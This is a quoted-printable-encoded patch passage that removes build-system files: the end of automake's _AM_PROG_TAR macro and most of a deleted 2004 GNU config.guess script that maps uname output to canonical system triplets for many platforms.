am__tar_=3D"$_am_tar --format=3Dm4_if([$1], [pax], [posix], [$1]) = -chf - "'"$tardir"' - am__untar=3D"$_am_tar -xf -" - ;; - plaintar) - # Must skip GNU tar: if it does not support --format=3D it doesn't= create - # ustar tarball either. - (tar --version) >/dev/null 2>&1 && continue - am__tar=3D'tar chf - "$$tardir"' - am__tar_=3D'tar chf - "$tardir"' - am__untar=3D'tar xf -' - ;; - pax) - am__tar=3D'pax -L -x $1 -w "$$tardir"' - am__tar_=3D'pax -L -x $1 -w "$tardir"' - am__untar=3D'pax -r' - ;; - cpio) - am__tar=3D'find "$$tardir" -print | cpio -o -H $1 -L' - am__tar_=3D'find "$tardir" -print | cpio -o -H $1 -L' - am__untar=3D'cpio -i -H $1 -d' - ;; - none) - am__tar=3Dfalse - am__tar_=3Dfalse - am__untar=3Dfalse - ;; - esac - - # If the value was cached, stop now. We just wanted to have am__tar - # and am__untar set. - test -n "${am_cv_prog_tar_$1}" && break - - # tar/untar a dummy directory, and stop if the command works - rm -rf conftest.dir - mkdir conftest.dir - echo GrepMe > conftest.dir/file - AM_RUN_LOG([tardir=3Dconftest.dir && eval $am__tar_ >conftest.tar]) - rm -rf conftest.dir - if test -s conftest.tar; then - AM_RUN_LOG([$am__untar /dev/null 2>&1 && break - fi -done -rm -rf conftest.dir - -AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=3D$_am_tool]) -AC_MSG_RESULT([$am_cv_prog_tar_$1])]) -AC_SUBST([am__tar]) -AC_SUBST([am__untar]) -]) # _AM_PROG_TAR - Index: b/dmapi/config.guess =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/config.guess +++ /dev/null @@ -1,1460 +0,0 @@ -#! /bin/sh -# Attempt to guess a canonical system name. -# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, -# 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. - -timestamp=3D'2004-08-11' - -# This file is free software; you can redistribute it and/or modify it -# under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307= , USA. -# -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that progra= m. - -# Originally written by Per Bothner . -# Please send patches to . Submit a context -# diff and a properly formatted ChangeLog entry. -# -# This script attempts to guess a canonical system name similar to -# config.sub. If it succeeds, it prints the system name on stdout, an= d -# exits with 0. Otherwise, it exits with 1. -# -# The plan is that this can be called by configure scripts if you -# don't specify an explicit build system type. - -me=3D`echo "$0" | sed -e 's,.*/,,'` - -usage=3D"\ -Usage: $0 [OPTION] - -Output the configuration name of the system \`$me' is run on. - -Operation modes: - -h, --help print this help, then exit - -t, --time-stamp print date of last modification, then exit - -v, --version print version number, then exit - -Report bugs and patches to ." - -version=3D"\ -GNU config.guess ($timestamp) - -Originally written by Per Bothner. -Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 20= 01, 2002, 2003, 2004 -Free Software Foundation, Inc. - -This is free software; see the source for copying conditions. There i= s NO -warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PUR= POSE." - -help=3D" -Try \`$me --help' for more information." - -# Parse command line -while test $# -gt 0 ; do - case $1 in - --time-stamp | --time* | -t ) - echo "$timestamp" ; exit 0 ;; - --version | -v ) - echo "$version" ; exit 0 ;; - --help | --h* | -h ) - echo "$usage"; exit 0 ;; - -- ) # Stop option processing - shift; break ;; - - )=09# Use stdin as input. - break ;; - -* ) - echo "$me: invalid option $1$help" >&2 - exit 1 ;; - * ) - break ;; - esac -done - -if test $# !=3D 0; then - echo "$me: too many arguments$help" >&2 - exit 1 -fi - -trap 'exit 1' 1 2 15 - -# CC_FOR_BUILD -- compiler used by this script. Note that the use of a -# compiler to aid in system detection is discouraged as it requires -# temporary files to be created and, as you can see below, it is a -# headache to deal with in a portable fashion. - -# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still -# use `HOST_CC' if defined, but it is deprecated. - -# Portable tmp directory creation inspired by the Autoconf team. - -set_cc_for_build=3D' -trap "exitcode=3D\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/de= v/null) && exit \$exitcode" 0 ; -trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1= 2 13 15 ; -: ${TMPDIR=3D/tmp} ; - { tmp=3D`(umask 077 && mktemp -d -q "$TMPDIR/cgXXXXXX") 2>/dev/null` = && test -n "$tmp" && test -d "$tmp" ; } || - { test -n "$RANDOM" && tmp=3D$TMPDIR/cg$$-$RANDOM && (umask 077 && mk= dir $tmp) ; } || - { tmp=3D$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: = creating insecure temp directory" >&2 ; } || - { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; ex= it 1 ; } ; -dummy=3D$tmp/dummy ; -tmpfiles=3D"$dummy.c $dummy.o $dummy.rel $dummy" ; -case $CC_FOR_BUILD,$HOST_CC,$CC in - ,,) echo "int x;" > $dummy.c ; -=09for c in cc gcc c89 c99 ; do -=09 if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then -=09 CC_FOR_BUILD=3D"$c"; break ; -=09 fi ; -=09done ; -=09if test x"$CC_FOR_BUILD" =3D x ; then -=09 CC_FOR_BUILD=3Dno_compiler_found ; -=09fi -=09;; - ,,*) CC_FOR_BUILD=3D$CC ;; - ,*,*) CC_FOR_BUILD=3D$HOST_CC ;; -esac ;' - -# This is needed to find uname on a Pyramid OSx when run in the BSD un= iverse. -# (ghazi@noc.rutgers.edu 1994-08-24) -if (test -f /.attbin/uname) >/dev/null 2>&1 ; then -=09PATH=3D$PATH:/.attbin ; export PATH -fi - -UNAME_MACHINE=3D`(uname -m) 2>/dev/null` || UNAME_MACHINE=3Dunknown -UNAME_RELEASE=3D`(uname -r) 2>/dev/null` || UNAME_RELEASE=3Dunknown -UNAME_SYSTEM=3D`(uname -s) 2>/dev/null` || UNAME_SYSTEM=3Dunknown -UNAME_VERSION=3D`(uname -v) 2>/dev/null` || UNAME_VERSION=3Dunknown - -case "${UNAME_MACHINE}" in - i?86) -=09test -z "$VENDOR" && VENDOR=3Dpc -=09;; - *) -=09test -z "$VENDOR" && VENDOR=3Dunknown -=09;; -esac -test -f /etc/SuSE-release -o -f /.buildenv && VENDOR=3Dsuse - -# Note: order is significant - the case branches are not exclusive. - -case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSIO= N}" in - *:NetBSD:*:*) -=09# NetBSD (nbsd) targets should (where applicable) match one or -=09# more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, -=09# *-*-netbsdecoff* and *-*-netbsd*. For targets that recently -=09# switched to ELF, *-*-netbsd* would select the old -=09# object file format. This provides both forward -=09# compatibility and a consistent mechanism for selecting the -=09# object file format. -=09# -=09# Note: NetBSD doesn't particularly care about the vendor -=09# portion of the name. We always set it to "unknown". -=09sysctl=3D"sysctl -n hw.machine_arch" -=09UNAME_MACHINE_ARCH=3D`(/sbin/$sysctl 2>/dev/null || \ -=09 /usr/sbin/$sysctl 2>/dev/null || echo unknown)` -=09case "${UNAME_MACHINE_ARCH}" in -=09 armeb) machine=3Darmeb-unknown ;; -=09 arm*) machine=3Darm-unknown ;; -=09 sh3el) machine=3Dshl-unknown ;; -=09 sh3eb) machine=3Dsh-unknown ;; -=09 *) machine=3D${UNAME_MACHINE_ARCH}-unknown ;; -=09esac -=09# The Operating System including object format, if it has switched -=09# to ELF recently, or will in the future. -=09case "${UNAME_MACHINE_ARCH}" in -=09 arm*|i386|m68k|ns32k|sh3*|sparc|vax) -=09=09eval $set_cc_for_build -=09=09if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ -=09=09=09| grep __ELF__ >/dev/null -=09=09then -=09=09 # Once all utilities can be ECOFF (netbsdecoff) or a.out (ne= tbsdaout). -=09=09 # Return netbsd for either. FIX? -=09=09 os=3Dnetbsd -=09=09else -=09=09 os=3Dnetbsdelf -=09=09fi -=09=09;; -=09 *) -=09 os=3Dnetbsd -=09=09;; -=09esac -=09# The OS release -=09# Debian GNU/NetBSD machines have a different userland, and -=09# thus, need a distinct triplet. However, they do not need -=09# kernel version information, so it can be replaced with a -=09# suitable tag, in the style of linux-gnu. -=09case "${UNAME_VERSION}" in -=09 Debian*) -=09=09release=3D'-gnu' -=09=09;; -=09 *) -=09=09release=3D`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` -=09=09;; -=09esac -=09# Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: -=09# contains redundant information, the shorter form: -=09# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. -=09echo "${machine}-${os}${release}" -=09exit 0 ;; - amd64:OpenBSD:*:*) -=09echo x86_64-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - amiga:OpenBSD:*:*) -=09echo m68k-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - arc:OpenBSD:*:*) -=09echo mipsel-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - cats:OpenBSD:*:*) -=09echo arm-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - hp300:OpenBSD:*:*) -=09echo m68k-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - luna88k:OpenBSD:*:*) - =09echo m88k-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - mac68k:OpenBSD:*:*) -=09echo m68k-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - macppc:OpenBSD:*:*) -=09echo powerpc-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - mvme68k:OpenBSD:*:*) -=09echo m68k-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - mvme88k:OpenBSD:*:*) -=09echo m88k-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - mvmeppc:OpenBSD:*:*) -=09echo powerpc-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - pmax:OpenBSD:*:*) -=09echo mipsel-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - sgi:OpenBSD:*:*) -=09echo mipseb-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - sun3:OpenBSD:*:*) -=09echo m68k-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - wgrisc:OpenBSD:*:*) -=09echo mipsel-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - *:OpenBSD:*:*) -=09echo ${UNAME_MACHINE}-unknown-openbsd${UNAME_RELEASE} -=09exit 0 ;; - *:ekkoBSD:*:*) -=09echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE} -=09exit 0 ;; - macppc:MirBSD:*:*) -=09echo powerppc-unknown-mirbsd${UNAME_RELEASE} -=09exit 0 ;; - *:MirBSD:*:*) -=09echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE} -=09exit 0 ;; - alpha:OSF1:*:*) -=09case $UNAME_RELEASE in -=09*4.0) -=09=09UNAME_RELEASE=3D`/usr/sbin/sizer -v | awk '{print $3}'` -=09=09;; -=09*5.*) -=09 UNAME_RELEASE=3D`/usr/sbin/sizer -v | awk '{print $4}'` -=09=09;; -=09esac -=09# According to Compaq, /usr/sbin/psrinfo has been available on -=09# OSF/1 and Tru64 systems produced since 1995. I hope that -=09# covers most systems running today. This code pipes the CPU -=09# types through head -n 1, so we only detect the type of CPU 0. -=09ALPHA_CPU_TYPE=3D`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha = \(.*\) processor.*$/\1/p' | head -n 1` -=09case "$ALPHA_CPU_TYPE" in -=09 "EV4 (21064)") -=09=09UNAME_MACHINE=3D"alpha" ;; -=09 "EV4.5 (21064)") -=09=09UNAME_MACHINE=3D"alpha" ;; -=09 "LCA4 (21066/21068)") -=09=09UNAME_MACHINE=3D"alpha" ;; -=09 "EV5 (21164)") -=09=09UNAME_MACHINE=3D"alphaev5" ;; -=09 "EV5.6 (21164A)") -=09=09UNAME_MACHINE=3D"alphaev56" ;; -=09 "EV5.6 (21164PC)") -=09=09UNAME_MACHINE=3D"alphapca56" ;; -=09 "EV5.7 (21164PC)") -=09=09UNAME_MACHINE=3D"alphapca57" ;; -=09 "EV6 (21264)") -=09=09UNAME_MACHINE=3D"alphaev6" ;; -=09 "EV6.7 (21264A)") -=09=09UNAME_MACHINE=3D"alphaev67" ;; -=09 "EV6.8CB (21264C)") -=09=09UNAME_MACHINE=3D"alphaev68" ;; -=09 "EV6.8AL (21264B)") -=09=09UNAME_MACHINE=3D"alphaev68" ;; -=09 "EV6.8CX (21264D)") -=09=09UNAME_MACHINE=3D"alphaev68" ;; -=09 "EV6.9A (21264/EV69A)") -=09=09UNAME_MACHINE=3D"alphaev69" ;; -=09 "EV7 (21364)") -=09=09UNAME_MACHINE=3D"alphaev7" ;; -=09 "EV7.9 (21364A)") -=09=09UNAME_MACHINE=3D"alphaev79" ;; -=09esac -=09# A Pn.n version is a patched version. -=09# A Vn.n version is a released version. -=09# A Tn.n version is a released field test version. -=09# A Xn.n version is an unreleased experimental baselevel. -=09# 1.2 uses "1.2" for uname -r. -=09echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[P= VTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` -=09exit 0 ;; - Alpha\ *:Windows_NT*:*) -=09# How do we know it's Interix rather than the generic POSIX subsyst= em? -=09# Should we change UNAME_MACHINE based on the output of uname inste= ad -=09# of the specific Alpha model? -=09echo alpha-pc-interix -=09exit 0 ;; - 21064:Windows_NT:50:3) -=09echo alpha-dec-winnt3.5 -=09exit 0 ;; - Amiga*:UNIX_System_V:4.0:*) -=09echo m68k-unknown-sysv4 -=09exit 0;; - *:[Aa]miga[Oo][Ss]:*:*) -=09echo ${UNAME_MACHINE}-unknown-amigaos -=09exit 0 ;; - *:[Mm]orph[Oo][Ss]:*:*) -=09echo ${UNAME_MACHINE}-unknown-morphos -=09exit 0 ;; - *:OS/390:*:*) -=09echo i370-ibm-openedition -=09exit 0 ;; - *:OS400:*:*) - echo powerpc-ibm-os400 -=09exit 0 ;; - arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) -=09echo arm-acorn-riscix${UNAME_RELEASE} -=09exit 0;; - SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) -=09echo hppa1.1-hitachi-hiuxmpp -=09exit 0;; - Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) -=09# akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE= . -=09if test "`(/bin/universe) 2>/dev/null`" =3D att ; then -=09=09echo pyramid-pyramid-sysv3 -=09else -=09=09echo pyramid-pyramid-bsd -=09fi -=09exit 0 ;; - NILE*:*:*:dcosx) -=09echo pyramid-pyramid-svr4 -=09exit 0 ;; - DRS?6000:unix:4.0:6*) -=09echo sparc-icl-nx6 -=09exit 0 ;; - DRS?6000:UNIX_SV:4.2*:7*) -=09case `/usr/bin/uname -p` in -=09 sparc) echo sparc-icl-nx7 && exit 0 ;; -=09esac ;; - sun4H:SunOS:5.*:*) -=09echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` -=09exit 0 ;; - sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) -=09echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` -=09exit 0 ;; - i86pc:SunOS:5.*:*) -=09echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` -=09exit 0 ;; - sun4*:SunOS:6*:*) -=09# According to config.sub, this is the proper way to canonicalize -=09# SunOS6. Hard to guess exactly what SunOS6 will be like, but -=09# it's likely to be more like Solaris than SunOS4. -=09echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` -=09exit 0 ;; - sun4*:SunOS:*:*) -=09case "`/usr/bin/arch -k`" in -=09 Series*|S4*) -=09=09UNAME_RELEASE=3D`uname -v` -=09=09;; -=09esac -=09# Japanese Language versions have a version number like `4.1.3-JL'. -=09echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` -=09exit 0 ;; - sun3*:SunOS:*:*) -=09echo m68k-sun-sunos${UNAME_RELEASE} -=09exit 0 ;; - sun*:*:4.2BSD:*) -=09UNAME_RELEASE=3D`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') = 2>/dev/null` -=09test "x${UNAME_RELEASE}" =3D "x" && UNAME_RELEASE=3D3 -=09case "`/bin/arch`" in -=09 sun3) -=09=09echo m68k-sun-sunos${UNAME_RELEASE} -=09=09;; -=09 sun4) -=09=09echo sparc-sun-sunos${UNAME_RELEASE} -=09=09;; -=09esac -=09exit 0 ;; - aushp:SunOS:*:*) -=09echo sparc-auspex-sunos${UNAME_RELEASE} -=09exit 0 ;; - # The situation for MiNT is a little confusing. The machine name - # can be virtually everything (everything which is not - # "atarist" or "atariste" at least should have a processor - # > m68000). The system name ranges from "MiNT" over "FreeMiNT" - # to the lowercase version "mint" (or "freemint"). Finally - # the system name "TOS" denotes a system which is actually not - # MiNT. But MiNT is downward compatible to TOS, so this should - # be no problem. - atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) - echo m68k-atari-mint${UNAME_RELEASE} -=09exit 0 ;; - atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) -=09echo m68k-atari-mint${UNAME_RELEASE} - exit 0 ;; - *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) - echo m68k-atari-mint${UNAME_RELEASE} -=09exit 0 ;; - milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) - echo m68k-milan-mint${UNAME_RELEASE} - exit 0 ;; - hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) - echo m68k-hades-mint${UNAME_RELEASE} - exit 0 ;; - *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) - echo m68k-unknown-mint${UNAME_RELEASE} - exit 0 ;; - m68k:machten:*:*) -=09echo m68k-apple-machten${UNAME_RELEASE} -=09exit 0 ;; - powerpc:machten:*:*) -=09echo powerpc-apple-machten${UNAME_RELEASE} -=09exit 0 ;; - RISC*:Mach:*:*) -=09echo mips-dec-mach_bsd4.3 -=09exit 0 ;; - RISC*:ULTRIX:*:*) -=09echo mips-dec-ultrix${UNAME_RELEASE} -=09exit 0 ;; - VAX*:ULTRIX*:*:*) -=09echo vax-dec-ultrix${UNAME_RELEASE} -=09exit 0 ;; - 2020:CLIX:*:* | 2430:CLIX:*:*) -=09echo clipper-intergraph-clix${UNAME_RELEASE} -=09exit 0 ;; - mips:*:*:UMIPS | mips:*:*:RISCos) -=09eval $set_cc_for_build -=09sed 's/^=09//' << EOF >$dummy.c -#ifdef __cplusplus -#include /* for printf() prototype */ -=09int main (int argc, char *argv[]) { -#else -=09int main (argc, argv) int argc; char *argv[]; { -#endif -=09#if defined (host_mips) && defined (MIPSEB) -=09#if defined (SYSTYPE_SYSV) -=09 printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); -=09#endif -=09#if defined (SYSTYPE_SVR4) -=09 printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); -=09#endif -=09#if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) -=09 printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); -=09#endif -=09#endif -=09 exit (-1); -=09} -EOF -=09$CC_FOR_BUILD -o $dummy $dummy.c \ -=09 && $dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'= ` \ -=09 && exit 0 -=09echo mips-mips-riscos${UNAME_RELEASE} -=09exit 0 ;; - Motorola:PowerMAX_OS:*:*) -=09echo powerpc-motorola-powermax -=09exit 0 ;; - Motorola:*:4.3:PL8-*) -=09echo powerpc-harris-powermax -=09exit 0 ;; - Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) -=09echo powerpc-harris-powermax -=09exit 0 ;; - Night_Hawk:Power_UNIX:*:*) -=09echo powerpc-harris-powerunix -=09exit 0 ;; - m88k:CX/UX:7*:*) -=09echo m88k-harris-cxux7 -=09exit 0 ;; - m88k:*:4*:R4*) -=09echo m88k-motorola-sysv4 -=09exit 0 ;; - m88k:*:3*:R3*) -=09echo m88k-motorola-sysv3 -=09exit 0 ;; - AViiON:dgux:*:*) - # DG/UX returns AViiON for all architectures - UNAME_PROCESSOR=3D`/usr/bin/uname -p` -=09if [ $UNAME_PROCESSOR =3D mc88100 ] || [ $UNAME_PROCESSOR =3D mc881= 10 ] -=09then -=09 if [ ${TARGET_BINARY_INTERFACE}x =3D m88kdguxelfx ] || \ -=09 [ ${TARGET_BINARY_INTERFACE}x =3D x ] -=09 then -=09=09echo m88k-dg-dgux${UNAME_RELEASE} -=09 else -=09=09echo m88k-dg-dguxbcs${UNAME_RELEASE} -=09 fi -=09else -=09 echo i586-dg-dgux${UNAME_RELEASE} -=09fi - =09exit 0 ;; - M88*:DolphinOS:*:*)=09# DolphinOS (SVR3) -=09echo m88k-dolphin-sysv3 -=09exit 0 ;; - M88*:*:R3*:*) -=09# Delta 88k system running SVR3 -=09echo m88k-motorola-sysv3 -=09exit 0 ;; - XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) -=09echo m88k-tektronix-sysv3 -=09exit 0 ;; - Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BS= D) -=09echo m68k-tektronix-bsd -=09exit 0 ;; - *:IRIX*:*:*) -=09echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` -=09exit 0 ;; - ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. -=09echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id -=09exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX = ' - i*86:AIX:*:*) -=09echo i386-ibm-aix -=09exit 0 ;; - ia64:AIX:*:*) -=09if [ -x /usr/bin/oslevel ] ; then -=09=09IBM_REV=3D`/usr/bin/oslevel` -=09else -=09=09IBM_REV=3D${UNAME_VERSION}.${UNAME_RELEASE} -=09fi -=09echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} -=09exit 0 ;; - *:AIX:2:3) -=09if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then -=09=09eval $set_cc_for_build -=09=09sed 's/^=09=09//' << EOF >$dummy.c -=09=09#include - -=09=09main() -=09=09=09{ -=09=09=09if (!__power_pc()) -=09=09=09=09exit(1); -=09=09=09puts("powerpc-ibm-aix3.2.5"); -=09=09=09exit(0); -=09=09=09} -EOF -=09=09$CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 -=09=09echo rs6000-ibm-aix3.2.5 -=09elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then -=09=09echo rs6000-ibm-aix3.2.4 -=09else -=09=09echo rs6000-ibm-aix3.2 -=09fi -=09exit 0 ;; - *:AIX:*:[45]) -=09IBM_CPU_ID=3D`/usr/sbin/lsdev -C -c processor -S available | sed 1q= | awk '{ print $1 }'` -=09if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>= &1; then -=09=09IBM_ARCH=3Drs6000 -=09else -=09=09IBM_ARCH=3Dpowerpc -=09fi -=09if [ -x /usr/bin/oslevel ] ; then -=09=09IBM_REV=3D`/usr/bin/oslevel` -=09else -=09=09IBM_REV=3D${UNAME_VERSION}.${UNAME_RELEASE} -=09fi -=09echo ${IBM_ARCH}-ibm-aix${IBM_REV} -=09exit 0 ;; - *:AIX:*:*) -=09echo rs6000-ibm-aix -=09exit 0 ;; - ibmrt:4.4BSD:*|romp-ibm:BSD:*) -=09echo romp-ibm-bsd4.4 -=09exit 0 ;; - ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and -=09echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to -=09exit 0 ;; # report: romp-ibm BSD 4.3 - *:BOSX:*:*) -=09echo rs6000-bull-bosx -=09exit 0 ;; - DPX/2?00:B.O.S.:*:*) -=09echo m68k-bull-sysv3 -=09exit 0 ;; - 9000/[34]??:4.3bsd:1.*:*) -=09echo m68k-hp-bsd -=09exit 0 ;; - hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) -=09echo m68k-hp-bsd4.4 -=09exit 0 ;; - 9000/[34678]??:HP-UX:*:*) -=09HPUX_REV=3D`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` -=09case "${UNAME_MACHINE}" in -=09 9000/31? ) HP_ARCH=3Dm68000 ;; -=09 9000/[34]?? ) HP_ARCH=3Dm68k ;; -=09 9000/[678][0-9][0-9]) -=09=09if [ -x /usr/bin/getconf ]; then -=09=09 sc_cpu_version=3D`/usr/bin/getconf SC_CPU_VERSION 2>/dev/nul= l` - sc_kernel_bits=3D`/usr/bin/getconf SC_KERNEL_BITS = 2>/dev/null` - case "${sc_cpu_version}" in - 523) HP_ARCH=3D"hppa1.0" ;; # CPU_PA_RISC1_0 - 528) HP_ARCH=3D"hppa1.1" ;; # CPU_PA_RISC1_1 - 532) # CPU_PA_RISC2_0 - case "${sc_kernel_bits}" in - 32) HP_ARCH=3D"hppa2.0n" ;; - 64) HP_ARCH=3D"hppa2.0w" ;; -=09=09=09 '') HP_ARCH=3D"hppa2.0" ;; # HP-UX 10.20 - esac ;; - esac -=09=09fi -=09=09if [ "${HP_ARCH}" =3D "" ]; then -=09=09 eval $set_cc_for_build -=09=09 sed 's/^ //' << EOF >$dummy.c - - #define _HPUX_SOURCE - #include - #include - - int main () - { - #if defined(_SC_KERNEL_BITS) - long bits =3D sysconf(_SC_KERNEL_BITS); - #endif - long cpu =3D sysconf (_SC_CPU_VERSION); - - switch (cpu) - =09{ - =09case CPU_PA_RISC1_0: puts ("hppa1.0"); break; - =09case CPU_PA_RISC1_1: puts ("hppa1.1"); break; - =09case CPU_PA_RISC2_0: - #if defined(_SC_KERNEL_BITS) - =09 switch (bits) - =09=09{ - =09=09case 64: puts ("hppa2.0w"); break; - =09=09case 32: puts ("hppa2.0n"); break; - =09=09default: puts ("hppa2.0"); break; - =09=09} break; - #else /* !defined(_SC_KERNEL_BITS) */ - =09 puts ("hppa2.0"); break; - #endif - =09default: puts ("hppa1.0"); break; - =09} - exit (0); - } -EOF -=09=09 (CCOPTS=3D $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && = HP_ARCH=3D`$dummy` -=09=09 test -z "$HP_ARCH" && HP_ARCH=3Dhppa -=09=09fi ;; -=09esac -=09if [ ${HP_ARCH} =3D "hppa2.0w" ] -=09then -=09 # avoid double evaluation of $set_cc_for_build -=09 test -n "$CC_FOR_BUILD" || eval $set_cc_for_build -=09 if echo __LP64__ | (CCOPTS=3D $CC_FOR_BUILD -E -) | grep __LP64= __ >/dev/null -=09 then -=09=09HP_ARCH=3D"hppa2.0w" -=09 else -=09=09HP_ARCH=3D"hppa64" -=09 fi -=09fi -=09echo ${HP_ARCH}-hp-hpux${HPUX_REV} -=09exit 0 ;; - ia64:HP-UX:*:*) -=09HPUX_REV=3D`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` -=09echo ia64-hp-hpux${HPUX_REV} -=09exit 0 ;; - 3050*:HI-UX:*:*) -=09eval $set_cc_for_build -=09sed 's/^=09//' << EOF >$dummy.c -=09#include -=09int -=09main () -=09{ -=09 long cpu =3D sysconf (_SC_CPU_VERSION); -=09 /* The order matters, because CPU_IS_HP_MC68K erroneously returns -=09 true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct -=09 results, however. */ -=09 if (CPU_IS_PA_RISC (cpu)) -=09 { -=09 switch (cpu) -=09=09{ -=09=09 case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; -=09=09 case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; -=09=09 case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; -=09=09 default: puts ("hppa-hitachi-hiuxwe2"); break; -=09=09} -=09 } -=09 else if (CPU_IS_HP_MC68K (cpu)) -=09 puts ("m68k-hitachi-hiuxwe2"); -=09 else puts ("unknown-hitachi-hiuxwe2"); -=09 exit (0); -=09} -EOF -=09$CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 -=09echo unknown-hitachi-hiuxwe2 -=09exit 0 ;; - 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) -=09echo hppa1.1-hp-bsd -=09exit 0 ;; - 